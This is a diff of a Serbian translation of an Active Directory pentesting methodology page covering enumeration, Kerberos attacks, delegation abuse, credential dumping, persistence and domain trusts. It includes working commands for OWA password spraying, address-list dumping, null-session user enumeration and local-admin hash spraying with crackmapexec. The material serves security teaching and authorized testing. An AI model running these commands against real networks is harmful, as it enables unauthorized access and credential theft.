- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
|
||||
- Pogledajte opštu [**Metodologiju Pentestinga**](../../generic-methodologies-and-resources/pentesting-methodology.md) da biste pronašli više informacija o tome kako to uraditi.
|
||||
@ -69,7 +69,7 @@ Ako imate pristup AD okruženju, ali nemate nikakve kredencijale/sesije, možete
|
||||
- Prikupite kredencijale **izlažući** [**lažne UPnP usluge sa evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology):
|
||||
- Izvucite korisnička imena/ime iz internih dokumenata, društvenih mreža, usluga (pretežno web) unutar domena i takođe iz javno dostupnih izvora.
|
||||
- Ako pronađete puna imena zaposlenih u kompaniji, možete pokušati različite AD **konvencije korisničkih imena** (**[**pročitajte ovo**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Najčešće konvencije su: _ImePrezime_, _Ime.Prezime_, _ImePr_ (3 slova svake), _Im.Prez_, _IPrezime_, _I.Prezime_, _PrezimeIme_, _Prezime.Ime_, _PrezimeI_, _Prezime.I_, 3 _nasumična slova i 3 nasumična broja_ (abc123).
|
||||
- Ako pronađete puna imena zaposlenih u kompaniji, možete pokušati različite AD **konvencije korisničkih imena** (**[**pročitajte ovo**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Najčešće konvencije su: _ImePrezime_, _Ime.Prezime_, _ImePr_ (3 slova svake), _Im.Prez_, _Prezime_, _I.Prezime_, _PrezimeIme_, _Prezime.Ime_, _PrezimeI_, _Prezime.I_, 3 _nasumična slova i 3 nasumična broja_ (abc123).
|
||||
- Alati:
|
||||
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
|
||||
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
|
||||
@ -90,7 +90,7 @@ crackmapexec smb dominio.es -u '' -p '' --users | awk '{print $4}' | uniq
|
||||
```
|
||||
- **OWA (Outlook Web Access) Server**
|
||||
|
||||
Ako pronađete jedan od ovih servera u mreži, možete takođe izvršiti **enumeraciju korisnika protiv njega**. Na primer, možete koristiti alat [**MailSniper**](https://github.com/dafthack/MailSniper):
|
||||
Ako pronađete jedan od ovih servera u mreži, takođe možete izvršiti **enumeraciju korisnika protiv njega**. Na primer, možete koristiti alat [**MailSniper**](https://github.com/dafthack/MailSniper):
|
||||
```bash
|
||||
ipmo C:\Tools\MailSniper\MailSniper.ps1
|
||||
# Get info about the domain
|
||||
@ -103,13 +103,13 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
|
||||
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
|
||||
```
|
||||
> [!WARNING]
|
||||
> Možete pronaći liste korisničkih imena u [**ovoj github repozitoriji**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* i ovoj ([**statistički-verovatna-korisnička-imena**](https://github.com/insidetrust/statistically-likely-usernames)).
|
||||
> Možete pronaći liste korisničkih imena u [**ovoj github repozitorijumu**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* i ovom ([**statistički-verovatna-korisnička-imena**](https://github.com/insidetrust/statistically-likely-usernames)).
|
||||
>
|
||||
> Međutim, trebali biste imati **ime ljudi koji rade u kompaniji** iz koraka istraživanja koji ste trebali obaviti pre ovoga. Sa imenom i prezimenom mogli biste koristiti skriptu [**namemash.py**](https://gist.github.com/superkojiman/11076951) da generišete potencijalna validna korisnička imena.
|
||||
> Međutim, trebali biste imati **ime ljudi koji rade u kompaniji** iz koraka rekognosciranja koji ste trebali izvršiti pre ovoga. Sa imenom i prezimenom mogli biste koristiti skriptu [**namemash.py**](https://gist.github.com/superkojiman/11076951) da generišete potencijalna validna korisnička imena.
|
||||
|
||||
### Poznavanje jednog ili više korisničkih imena
|
||||
|
||||
U redu, znate da već imate validno korisničko ime, ali nemate lozinke... Onda pokušajte:
|
||||
U redu, znate da već imate validno korisničko ime, ali nemate lozinke... Pokušajte:
|
||||
|
||||
- [**ASREPRoast**](asreproast.md): Ako korisnik **nema** atribut _DONT_REQ_PREAUTH_, možete **zatražiti AS_REP poruku** za tog korisnika koja će sadržati neke podatke enkriptovane derivacijom lozinke korisnika.
|
||||
- [**Password Spraying**](password-spraying.md): Pokušajmo sa najviše **uobičajenim lozinkama** za svakog od otkrivenih korisnika, možda neki korisnik koristi lošu lozinku (imajte na umu politiku lozinki!).
|
||||
@ -151,14 +151,14 @@ kerberos-double-hop-problem.md
|
||||
|
||||
### Enumeracija
|
||||
|
||||
Imati kompromitovan račun je **veliki korak ka kompromitovanju celog domena**, jer ćete moći da započnete **Enumeraciju Aktivnog Direktorijuma:**
|
||||
Kada ste kompromitovali nalog, to je **veliki korak ka kompromitovanju celog domena**, jer ćete moći da započnete **Enumeraciju Aktivnog Direktorijuma:**
|
||||
|
||||
Što se tiče [**ASREPRoast**](asreproast.md), sada možete pronaći svakog mogućeg ranjivog korisnika, a što se tiče [**Password Spraying**](password-spraying.md), možete dobiti **listu svih korisničkih imena** i pokušati lozinku kompromitovanog računa, prazne lozinke i nove obećavajuće lozinke.
|
||||
Što se tiče [**ASREPRoast**](asreproast.md), sada možete pronaći svakog mogućeg ranjivog korisnika, a što se tiče [**Password Spraying**](password-spraying.md), možete dobiti **listu svih korisničkih imena** i pokušati lozinku kompromitovanog naloga, prazne lozinke i nove obećavajuće lozinke.
|
||||
|
||||
- Možete koristiti [**CMD za osnovno istraživanje**](../basic-cmd-for-pentesters.md#domain-info)
|
||||
- Takođe možete koristiti [**powershell za istraživanje**](../basic-powershell-for-pentesters/) što će biti diskretnije
|
||||
- Možete koristiti [**CMD za osnovno rekognosciranje**](../basic-cmd-for-pentesters.md#domain-info)
|
||||
- Takođe možete koristiti [**powershell za rekognosciranje**](../basic-powershell-for-pentesters/) što će biti diskretnije
|
||||
- Takođe možete [**koristiti powerview**](../basic-powershell-for-pentesters/powerview.md) da izvučete detaljnije informacije
|
||||
- Još jedan neverovatan alat za istraživanje u aktivnom direktorijumu je [**BloodHound**](bloodhound.md). Nije **veoma diskretan** (u zavisnosti od metoda prikupljanja koje koristite), ali **ako vam to nije važno**, definitivno biste trebali probati. Pronađite gde korisnici mogu RDP, pronađite put do drugih grupa, itd.
|
||||
- Još jedan neverovatan alat za rekognosciranje u aktivnom direktorijumu je [**BloodHound**](bloodhound.md). Nije **veoma diskretan** (u zavisnosti od metoda prikupljanja koje koristite), ali **ako vam to nije važno**, definitivno biste trebali probati. Pronađite gde korisnici mogu RDP, pronađite put do drugih grupa, itd.
|
||||
- **Ostali automatski alati za AD enumeraciju su:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
|
||||
- [**DNS zapisi AD-a**](ad-dns-records.md) jer mogu sadržati zanimljive informacije.
|
||||
- **Alat sa GUI** koji možete koristiti za enumeraciju direktorijuma je **AdExplorer.exe** iz **SysInternal** Suite.
|
||||
@ -167,7 +167,7 @@ Imati kompromitovan račun je **veliki korak ka kompromitovanju celog domena**,
|
||||
- Takođe možete probati automatske alate kao:
|
||||
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
|
||||
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
|
||||
- **Izvlačenje svih korisnika domena**
|
||||
- **Ekstrakcija svih korisnika domena**
|
||||
|
||||
Veoma je lako dobiti sva korisnička imena domena iz Windows-a (`net user /domain`, `Get-DomainUser` ili `wmic useraccount get name,sid`). U Linux-u možete koristiti: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` ili `enum4linux -a -u "user" -p "password" <DC IP>`
|
||||
|
||||
@ -175,7 +175,7 @@ Veoma je lako dobiti sva korisnička imena domena iz Windows-a (`net user /domai
|
||||
|
||||
### Kerberoast
|
||||
|
||||
Kerberoasting uključuje dobijanje **TGS karata** koje koriste usluge povezane sa korisničkim računima i razbijanje njihove enkripcije—koja se zasniva na korisničkim lozinkama—**offline**.
|
||||
Kerberoasting uključuje dobijanje **TGS karata** koje koriste usluge povezane sa korisničkim nalozima i razbijanje njihove enkripcije—koja se zasniva na korisničkim lozinkama—**offline**.
|
||||
|
||||
Više o tome u:
|
||||
|
||||
@ -183,13 +183,13 @@ Više o tome u:
|
||||
kerberoast.md
|
||||
{{#endref}}
|
||||
|
||||
### Daljinska konekcija (RDP, SSH, FTP, Win-RM, itd)
|
||||
### Daljinska konekcija (RDP, SSH, FTP, Win-RM, itd.)
|
||||
|
||||
Kada dobijete neke kredencijale, možete proveriti da li imate pristup bilo kojoj **mašini**. U tom smislu, mogli biste koristiti **CrackMapExec** da pokušate povezivanje na nekoliko servera sa različitim protokolima, u skladu sa vašim skeniranjem portova.
|
||||
Kada dobijete neke kredencijale, možete proveriti da li imate pristup bilo kojoj **mašini**. U tom smislu, možete koristiti **CrackMapExec** da pokušate povezivanje na nekoliko servera sa različitim protokolima, u skladu sa vašim skeniranjem portova.
|
||||
|
||||
### Lokalna Eskalacija Privilegija
|
||||
|
||||
Ako imate kompromitovane kredencijale ili sesiju kao običan domen korisnik i imate **pristup** sa ovim korisnikom do **bilo koje mašine u domenu**, trebali biste pokušati da pronađete način da **eskalirate privilegije lokalno i tražite kredencijale**. To je zato što samo sa lokalnim administratorskim privilegijama možete **dumpovati hash-eve drugih korisnika** u memoriji (LSASS) i lokalno (SAM).
|
||||
Ako ste kompromitovali kredencijale ili sesiju kao običan domen korisnik i imate **pristup** sa ovim korisnikom do **bilo koje mašine u domenu**, trebali biste pokušati da pronađete način da **eskalirate privilegije lokalno i tražite kredencijale**. To je zato što samo sa lokalnim administratorskim privilegijama možete **dumpovati hash-eve drugih korisnika** u memoriji (LSASS) i lokalno (SAM).
|
||||
|
||||
Postoji cela stranica u ovoj knjizi o [**lokalnoj eskalaciji privilegija u Windows-u**](../windows-local-privilege-escalation/) i [**checklist**](../checklist-windows-privilege-escalation.md). Takođe, ne zaboravite da koristite [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
|
||||
|
||||
@ -209,7 +209,7 @@ Ako ste uspeli da enumerišete aktivni direktorijum, imaćete **više emailova i
|
||||
|
||||
### **Traži kredencijale u deljenim računarima**
|
||||
|
||||
Sada kada imate neke osnovne kredencijale, trebalo bi da proverite da li možete **pronaći** bilo koje **zanimljive datoteke koje se dele unutar AD**. To možete uraditi ručno, ali je to veoma dosadan i ponavljajući zadatak (a još više ako pronađete stotine dokumenata koje treba da proverite).
|
||||
Sada kada imate neke osnovne kredencijale, trebali biste proveriti da li možete **pronaći** bilo koje **zanimljive datoteke koje se dele unutar AD**. To možete uraditi ručno, ali je to veoma dosadan i ponavljajući zadatak (a još više ako pronađete stotine dokumenata koje treba da proverite).
|
||||
|
||||
[**Pratite ovaj link da saznate više o alatima koje možete koristiti.**](../../network-services-pentesting/pentesting-smb/#domain-shared-folders-search)
|
||||
|
||||
@ -263,7 +263,7 @@ pass-the-ticket.md
|
||||
|
||||
### Ponovna upotreba kredencijala
|
||||
|
||||
Ako imate **haš** ili **lozinku** lokalnog **administrator**-a, trebalo bi da pokušate da **se prijavite lokalno** na druge **PC**-e sa njom.
|
||||
Ako imate **haš** ili **lozinku** lokalnog **administrator**-a, trebali biste pokušati da se **prijavite lokalno** na druge **PC**-e sa njom.
|
||||
```bash
|
||||
# Local Auth Spray (once you found some local admin pass or hash)
|
||||
## --local-auth flag indicate to only try 1 time per machine
|
||||
@ -275,7 +275,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
||||
### MSSQL Abuse & Trusted Links
|
||||
|
||||
Ako korisnik ima privilegije za **pristup MSSQL instancama**, mogao bi biti u mogućnosti da ih koristi za **izvršavanje komandi** na MSSQL hostu (ako se pokreće kao SA), **ukrade** NetNTLM **hash** ili čak izvrši **relay** **napad**.\
|
||||
Takođe, ako je MSSQL instanca poverljiva (veza baze podataka) od strane druge MSSQL instance. Ako korisnik ima privilegije nad poverljivom bazom podataka, moći će da **iskoristi odnos poverenja za izvršavanje upita i u drugoj instanci**. Ove veze se mogu povezivati i u nekom trenutku korisnik bi mogao da pronađe pogrešno konfigurisanu bazu podataka gde može izvršavati komande.\
|
||||
Takođe, ako je MSSQL instanca poverena (veza baze podataka) od strane druge MSSQL instance. Ako korisnik ima privilegije nad poverenom bazom podataka, moći će da **iskoristi odnos poverenja za izvršavanje upita i na drugoj instanci**. Ove veze se mogu povezivati i u nekom trenutku korisnik bi mogao da pronađe pogrešno konfigurisanu bazu podataka gde može izvršavati komande.\
|
||||
**Veze između baza podataka funkcionišu čak i preko šuma poverenja.**
|
||||
|
||||
{{#ref}}
|
||||
@ -284,8 +284,8 @@ abusing-ad-mssql.md
|
||||
|
||||
### Unconstrained Delegation
|
||||
|
||||
Ako pronađete bilo koji objekat računara sa atributom [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) i imate privilegije domena na računaru, moći ćete da dump-ujete TGT-ove iz memorije svih korisnika koji se prijavljuju na računar.\
|
||||
Dakle, ako se **Domain Admin prijavi na računar**, moći ćete da dump-ujete njegov TGT i da se pretvarate da je on koristeći [Pass the Ticket](pass-the-ticket.md).\
|
||||
Ako pronađete bilo koji objekat računara sa atributom [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) i imate privilegije domena na računaru, moći ćete da izvučete TGT-ove iz memorije svih korisnika koji se prijave na računar.\
|
||||
Dakle, ako se **Domain Admin prijavi na računar**, moći ćete da izvučete njegov TGT i da se pretvarate da je on koristeći [Pass the Ticket](pass-the-ticket.md).\
|
||||
Zahvaljujući ograničenoj delegaciji, mogli biste čak i **automatski kompromitovati Print Server** (nadamo se da će to biti DC).
|
||||
|
||||
{{#ref}}
|
||||
@ -295,7 +295,7 @@ unconstrained-delegation.md
|
||||
### Constrained Delegation
|
||||
|
||||
Ako je korisniku ili računaru dozvoljena "Ograničena delegacija", moći će da **se pretvara u bilo kog korisnika kako bi pristupio nekim uslugama na računaru**.\
|
||||
Tada, ako **kompromitujete hash** ovog korisnika/računara, moći ćete da **se pretvarate u bilo kog korisnika** (čak i administratore domena) kako biste pristupili nekim uslugama.
|
||||
Tada, ako **kompromitujete hash** ovog korisnika/računara, moći ćete da **se pretvarate u bilo kog korisnika** (čak i domenskih administratora) kako biste pristupili nekim uslugama.
|
||||
|
||||
{{#ref}}
|
||||
constrained-delegation.md
|
||||
@ -327,8 +327,8 @@ printers-spooler-service-abuse.md
|
||||
|
||||
### Third party sessions abuse
|
||||
|
||||
Ako **drugi korisnici** **pristupaju** **kompromitovanoj** mašini, moguće je **prikupiti kredencijale iz memorije** i čak **ubaciti beacon-e u njihove procese** da bi se pretvarali da su oni.\
|
||||
Obično korisnici pristupaju sistemu putem RDP-a, tako da ovde imate kako da izvršite nekoliko napada na RDP sesije trećih strana:
|
||||
Ako **drugi korisnici** **pristupaju** **kompromitovanom** računaru, moguće je **prikupiti kredencijale iz memorije** i čak **ubaciti beacon-e u njihove procese** da bi se pretvarali da su oni.\
|
||||
Obično korisnici pristupaju sistemu putem RDP-a, pa ovde imate kako da izvršite nekoliko napada na RDP sesije trećih strana:
|
||||
|
||||
{{#ref}}
|
||||
rdp-sessions-abuse.md
|
||||
@ -336,7 +336,7 @@ rdp-sessions-abuse.md
|
||||
|
||||
### LAPS
|
||||
|
||||
**LAPS** pruža sistem za upravljanje **lokalnom lozinkom administratora** na računarima pridruženim domenu, osiguravajući da je **nasumična**, jedinstvena i često **menjana**. Ove lozinke se čuvaju u Active Directory-u, a pristup se kontroliše putem ACL-a samo za ovlašćene korisnike. Sa dovoljnim dozvolama za pristup ovim lozinkama, postaje moguće prebacivanje na druge računare.
|
||||
**LAPS** pruža sistem za upravljanje **lokalnom lozinkom administratora** na računarima pridruženim domenu, osiguravajući da je **nasumična**, jedinstvena i često **menjana**. Ove lozinke se čuvaju u Active Directory-u, a pristup se kontroliše putem ACL-a samo za ovlašćene korisnike. Sa dovoljnim dozvolama za pristup ovim lozinkama, prelazak na druge računare postaje moguć.
|
||||
|
||||
{{#ref}}
|
||||
laps.md
|
||||
@ -344,7 +344,7 @@ laps.md
|
||||
|
||||
### Certificate Theft
|
||||
|
||||
**Prikupljanje sertifikata** sa kompromitovane mašine može biti način za eskalaciju privilegija unutar okruženja:
|
||||
**Prikupljanje sertifikata** sa kompromitovanog računara može biti način za eskalaciju privilegija unutar okruženja:
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/certificate-theft.md
|
||||
@ -362,7 +362,7 @@ ad-certificates/domain-escalation.md
|
||||
|
||||
### Dumping Domain Credentials
|
||||
|
||||
Kada dobijete **Domain Admin** ili još bolje **Enterprise Admin** privilegije, možete **dump-ovati** **domen bazu podataka**: _ntds.dit_.
|
||||
Kada dobijete **Domain Admin** ili još bolje **Enterprise Admin** privilegije, možete **izvući** **bazu podataka domena**: _ntds.dit_.
|
||||
|
||||
[**Više informacija o DCSync napadu možete pronaći ovde**](dcsync.md).
|
||||
|
||||
@ -370,7 +370,7 @@ Kada dobijete **Domain Admin** ili još bolje **Enterprise Admin** privilegije,
|
||||
|
||||
### Privesc as Persistence
|
||||
|
||||
Neke od tehnika o kojima se ranije govorilo mogu se koristiti za persistenciju.\
|
||||
Neke od tehnika o kojima se ranije govorilo mogu se koristiti za postizanje trajnosti.\
|
||||
Na primer, mogli biste:
|
||||
|
||||
- Učiniti korisnike ranjivim na [**Kerberoast**](kerberoast.md)
|
||||
@ -427,7 +427,7 @@ ad-certificates/account-persistence.md
|
||||
|
||||
### **Certificates Domain Persistence**
|
||||
|
||||
**Korišćenje sertifikata je takođe moguće za persistenciju sa visokim privilegijama unutar domena:**
|
||||
**Korišćenje sertifikata je takođe moguće za postizanje trajnosti sa visokim privilegijama unutar domena:**
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/domain-persistence.md
|
||||
@ -435,13 +435,13 @@ ad-certificates/domain-persistence.md
|
||||
|
||||
### AdminSDHolder Group
|
||||
|
||||
**AdminSDHolder** objekat u Active Directory-u osigurava bezbednost **privilegovanih grupa** (kao što su Domain Admins i Enterprise Admins) primenom standardne **Access Control List (ACL)** na ovim grupama kako bi se sprečile neovlašćene promene. Međutim, ova funkcija se može iskoristiti; ako napadač izmeni ACL AdminSDHolder-a da bi dao potpuni pristup običnom korisniku, taj korisnik dobija opsežnu kontrolu nad svim privilegovanim grupama. Ova mera bezbednosti, koja je zamišljena da zaštiti, može se tako obrnuti, omogućavajući neovlašćen pristup osim ako se ne prati pažljivo.
|
||||
**AdminSDHolder** objekat u Active Directory-u osigurava bezbednost **privilegovanih grupa** (kao što su Domain Admins i Enterprise Admins) primenom standardnog **Access Control List (ACL)** na ovim grupama kako bi se sprečile neovlašćene promene. Međutim, ova funkcija se može iskoristiti; ako napadač izmeni ACL AdminSDHolder-a kako bi dao potpuni pristup običnom korisniku, taj korisnik dobija opsežnu kontrolu nad svim privilegovanim grupama. Ova mera bezbednosti, koja je zamišljena da štiti, može se tako obrnuti, omogućavajući neovlašćen pristup osim ako se ne prati pažljivo.
|
||||
|
||||
[**Više informacija o AdminDSHolder grupi ovde.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
|
||||
### DSRM Credentials
|
||||
|
||||
Unutar svakog **Domain Controller (DC)**, postoji **lokalni administratorski** nalog. Dobijanjem administratorskih prava na takvoj mašini, lokalni Administrator hash može se izvući koristeći **mimikatz**. Nakon toga, neophodna je izmena registra da bi se **omogućila upotreba ove lozinke**, omogućavajući daljinski pristup lokalnom administratorskom nalogu.
|
||||
Unutar svakog **Domain Controller (DC)**, postoji **lokalni administratorski** nalog. Dobijanjem administratorskih prava na takvom računaru, lokalni Administrator hash može se izvući koristeći **mimikatz**. Nakon toga, potrebna je izmena registra da bi se **omogućila upotreba ove lozinke**, što omogućava daljinski pristup lokalnom administratorskom nalogu.
|
||||
|
||||
{{#ref}}
|
||||
dsrm-credentials.md
|
||||
@ -449,7 +449,7 @@ dsrm-credentials.md
|
||||
|
||||
### ACL Persistence
|
||||
|
||||
Možete **dati** neke **posebne dozvole** određenom **korisniku** nad nekim specifičnim objektima domena koje će omogućiti korisniku **eskalaciju privilegija u budućnosti**.
|
||||
Možete **dati** neke **posebne dozvole** korisniku nad nekim specifičnim objektima domena koje će omogućiti korisniku **eskalaciju privilegija u budućnosti**.
|
||||
|
||||
{{#ref}}
|
||||
acl-persistence-abuse/
|
||||
@ -457,7 +457,7 @@ acl-persistence-abuse/
|
||||
|
||||
### Security Descriptors
|
||||
|
||||
**Bezbednosni deskriptori** se koriste za **čuvanje** **dozvola** koje **objekat** ima **nad** **objektom**. Ako možete samo **napraviti** malu promenu u **bezbednosnom deskriptoru** objekta, možete dobiti veoma zanimljive privilegije nad tim objektom bez potrebe da budete član privilegovane grupe.
|
||||
**Bezbednosni deskriptori** se koriste za **čuvanje** **dozvola** koje **objekat** ima **nad** **objektom**. Ako možete samo **napraviti** **malo promene** u **bezbednosnom deskriptoru** objekta, možete dobiti veoma zanimljive privilegije nad tim objektom bez potrebe da budete član privilegovane grupe.
|
||||
|
||||
{{#ref}}
|
||||
security-descriptors.md
|
||||
@ -465,7 +465,7 @@ security-descriptors.md
|
||||
|
||||
### Skeleton Key
|
||||
|
||||
Izmenite **LSASS** u memoriji da uspostavite **univerzalnu lozinku**, omogućavajući pristup svim domen računima.
|
||||
Izmenite **LSASS** u memoriji da uspostavite **univerzalnu lozinku**, omogućavajući pristup svim domena nalozima.
|
||||
|
||||
{{#ref}}
|
||||
skeleton-key.md
|
||||
@ -482,7 +482,7 @@ custom-ssp.md
|
||||
|
||||
### DCShadow
|
||||
|
||||
Registruje **novi Domain Controller** u AD i koristi ga za **guranja atributa** (SIDHistory, SPNs...) na određenim objektima **bez** ostavljanja ikakvih **logova** u vezi sa **izmenama**. Potrebne su **DA** privilegije i biti unutar **root domena**.\
|
||||
Registruje **novi Domain Controller** u AD i koristi ga za **guranjem atributa** (SIDHistory, SPNs...) na specificiranim objektima **bez** ostavljanja bilo kakvih **logova** u vezi sa **izmenama**. Potrebne su **DA** privilegije i biti unutar **root domena**.\
|
||||
Imajte na umu da ako koristite pogrešne podatke, pojaviće se prilično ružni logovi.
|
||||
|
||||
{{#ref}}
|
||||
@ -491,7 +491,7 @@ dcshadow.md
|
||||
|
||||
### LAPS Persistence
|
||||
|
||||
Ranije smo razgovarali o tome kako eskalirati privilegije ako imate **dovoljno dozvola za čitanje LAPS lozinki**. Međutim, ove lozinke se takođe mogu koristiti za **održavanje persistencije**.\
|
||||
Ranije smo razgovarali o tome kako eskalirati privilegije ako imate **dovoljno dozvola za čitanje LAPS lozinki**. Međutim, ove lozinke se takođe mogu koristiti za **održavanje trajnosti**.\
|
||||
Proverite:
|
||||
|
||||
{{#ref}}
|
||||
@ -504,52 +504,52 @@ Microsoft gleda na **Forest** kao na bezbednosnu granicu. To implicira da **komp
|
||||
|
||||
### Basic Information
|
||||
|
||||
[**Domen poverenja**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) je bezbednosni mehanizam koji omogućava korisniku iz jednog **domena** da pristupi resursima u drugom **domenu**. Suštinski, stvara vezu između sistema autentifikacije dva domena, omogućavajući nesmetano proticanje verifikacija autentifikacije. Kada domeni postave poverenje, razmenjuju i zadržavaju specifične **ključeve** unutar svojih **Domain Controllers (DCs)**, koji su ključni za integritet poverenja.
|
||||
[**domen poverenja**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) je bezbednosni mehanizam koji omogućava korisniku iz jednog **domena** da pristupi resursima u drugom **domenu**. Suštinski, stvara vezu između autentifikacionih sistema dva domena, omogućavajući da verifikacije autentifikacije teku neometano. Kada domeni postave poverenje, razmenjuju i zadržavaju specifične **ključeve** unutar svojih **Domain Controllers (DCs)**, koji su ključni za integritet poverenja.
|
||||
|
||||
U tipičnom scenariju, ako korisnik želi da pristupi usluzi u **poverljivom domenu**, prvo mora zatražiti posebnu kartu poznatu kao **inter-realm TGT** od svog domena DC. Ova TGT je enkriptovana sa deljenim **ključem** na kojem su se oba domena dogovorila. Korisnik zatim predstavlja ovu TGT **DC-u poverljivog domena** da bi dobio kartu usluge (**TGS**). Nakon uspešne validacije inter-realm TGT od strane DC-a poverljivog domena, izdaje TGS, dajući korisniku pristup usluzi.
|
||||
U tipičnom scenariju, ako korisnik želi da pristupi usluzi u **poverenom domenu**, prvo mora zatražiti posebnu kartu poznatu kao **inter-realm TGT** od svog domena DC. Ova TGT je enkriptovana sa deljenim **ključem** na kojem su se oba domena dogovorila. Korisnik zatim predstavlja ovu TGT **DC-u poverenog domena** da bi dobio kartu usluge (**TGS**). Nakon uspešne validacije inter-realm TGT od strane DC-a poverenog domena, izdaje TGS, dajući korisniku pristup usluzi.
|
||||
|
||||
**Koraci**:
|
||||
|
||||
1. **Klijentski računar** u **Domen 1** započinje proces koristeći svoj **NTLM hash** da zatraži **Ticket Granting Ticket (TGT)** od svog **Domain Controller (DC1)**.
|
||||
1. **klijentski računar** u **Domen 1** započinje proces koristeći svoj **NTLM hash** da zatraži **Ticket Granting Ticket (TGT)** od svog **Domain Controller (DC1)**.
|
||||
2. DC1 izdaje novu TGT ako je klijent uspešno autentifikovan.
|
||||
3. Klijent zatim traži **inter-realm TGT** od DC1, koja je potrebna za pristup resursima u **Domen 2**.
|
||||
4. Inter-realm TGT je enkriptovana sa **ključem poverenja** koji je deljen između DC1 i DC2 kao deo dvosmernog poverenja domena.
|
||||
5. Klijent uzima inter-realm TGT do **Domain 2's Domain Controller (DC2)**.
|
||||
6. DC2 verifikuje inter-realm TGT koristeći svoj deljeni ključ poverenja i, ako je važeća, izdaje **Ticket Granting Service (TGS)** za server u Domen 2 kojem klijent želi pristupiti.
|
||||
7. Na kraju, klijent predstavlja ovaj TGS serveru, koji je enkriptovan sa hash-om naloga servera, da bi dobio pristup usluzi u Domen 2.
|
||||
6. DC2 verifikuje inter-realm TGT koristeći svoj deljeni ključ poverenja i, ako je važeći, izdaje **Ticket Granting Service (TGS)** za server u Domenu 2 kojem klijent želi pristupiti.
|
||||
7. Na kraju, klijent predstavlja ovaj TGS serveru, koji je enkriptovan sa hash-om serverovog naloga, da bi dobio pristup usluzi u Domenu 2.
|
||||
|
||||
### Different trusts
|
||||
|
||||
Važno je primetiti da **poverenje može biti jednostrano ili dvostrano**. U dvostranoj opciji, oba domena će se međusobno poveravati, ali u **jednostranom** odnosu poverenja jedan od domena će biti **poverljiv** a drugi **pouzdani** domen. U poslednjem slučaju, **moći ćete da pristupite resursima unutar pouzdanog domena samo iz poverljivog**.
|
||||
Važno je primetiti da **poverenje može biti jednostrano ili dvostrano**. U dvostranoj opciji, oba domena će se međusobno poveravati, ali u **jednostranom** odnosu poverenja jedan od domena će biti **povereni**, a drugi **pouzdani** domen. U poslednjem slučaju, **možete pristupiti resursima unutar pouzdanog domena samo iz poverenog**.
|
||||
|
||||
Ako Domen A poverava Domenu B, A je pouzdani domen, a B je poverljiv. Štaviše, u **Domenu A**, ovo bi bila **Outbound trust**; a u **Domenu B**, ovo bi bila **Inbound trust**.
|
||||
Ako Domen A poverava Domenu B, A je pouzdani domen, a B je povereni. Štaviše, u **Domenu A**, ovo bi bila **Outbound trust**; a u **Domenu B**, ovo bi bila **Inbound trust**.
|
||||
|
||||
**Različiti odnosi poverenja**
|
||||
|
||||
- **Parent-Child Trusts**: Ovo je uobičajena postavka unutar iste šume, gde dete domen automatski ima dvosmerno tranzitivno poverenje sa svojim roditeljskim domenom. Suštinski, to znači da zahtevi za autentifikaciju mogu nesmetano teći između roditelja i deteta.
|
||||
- **Cross-link Trusts**: Poznate kao "prečice poverenja", ove se uspostavljaju između domena dece kako bi se ubrzali procesi upućivanja. U složenim šumama, upućivanja za autentifikaciju obično moraju putovati do korena šume, a zatim do ciljnog domena. Kreiranjem prečica, putovanje se skraćuje, što je posebno korisno u geografskim okruženjima.
|
||||
- **External Trusts**: Ove se postavljaju između različitih, nepovezanih domena i po prirodi su netransitivne. Prema [Microsoftovoj dokumentaciji](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), spoljašnja poverenja su korisna za pristup resursima u domenu izvan trenutne šume koji nije povezan šumskim poverenjem. Bezbednost se pojačava filtriranjem SID-a sa spoljnim poverenjima.
|
||||
- **Tree-root Trusts**: Ova poverenja se automatski uspostavljaju između korenskog domena šume i novog dodatog korena drveta. Iako se ne susreću često, poverenja korena drveta su važna za dodavanje novih domena drveća u šumu, omogućavajući im da zadrže jedinstveno ime domena i osiguravajući dvosmernu tranzitivnost. Više informacija možete pronaći u [Microsoftovom vodiču](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Parent-Child Trusts**: Ovo je uobičajena postavka unutar iste šume, gde dete domen automatski ima dvosmerno tranzitivno poverenje sa svojim roditeljskim domenom. Suštinski, to znači da zahtevi za autentifikaciju mogu teći neometano između roditelja i deteta.
|
||||
- **Cross-link Trusts**: Poznate kao "prečice poverenja", ove se uspostavljaju između domena dece kako bi se ubrzali procesi upućivanja. U složenim šumama, upućivanja za autentifikaciju obično moraju putovati do korena šume, a zatim do ciljnog domena. Kreiranjem prečica, putovanje se skraćuje, što je posebno korisno u geografski raspršenim okruženjima.
|
||||
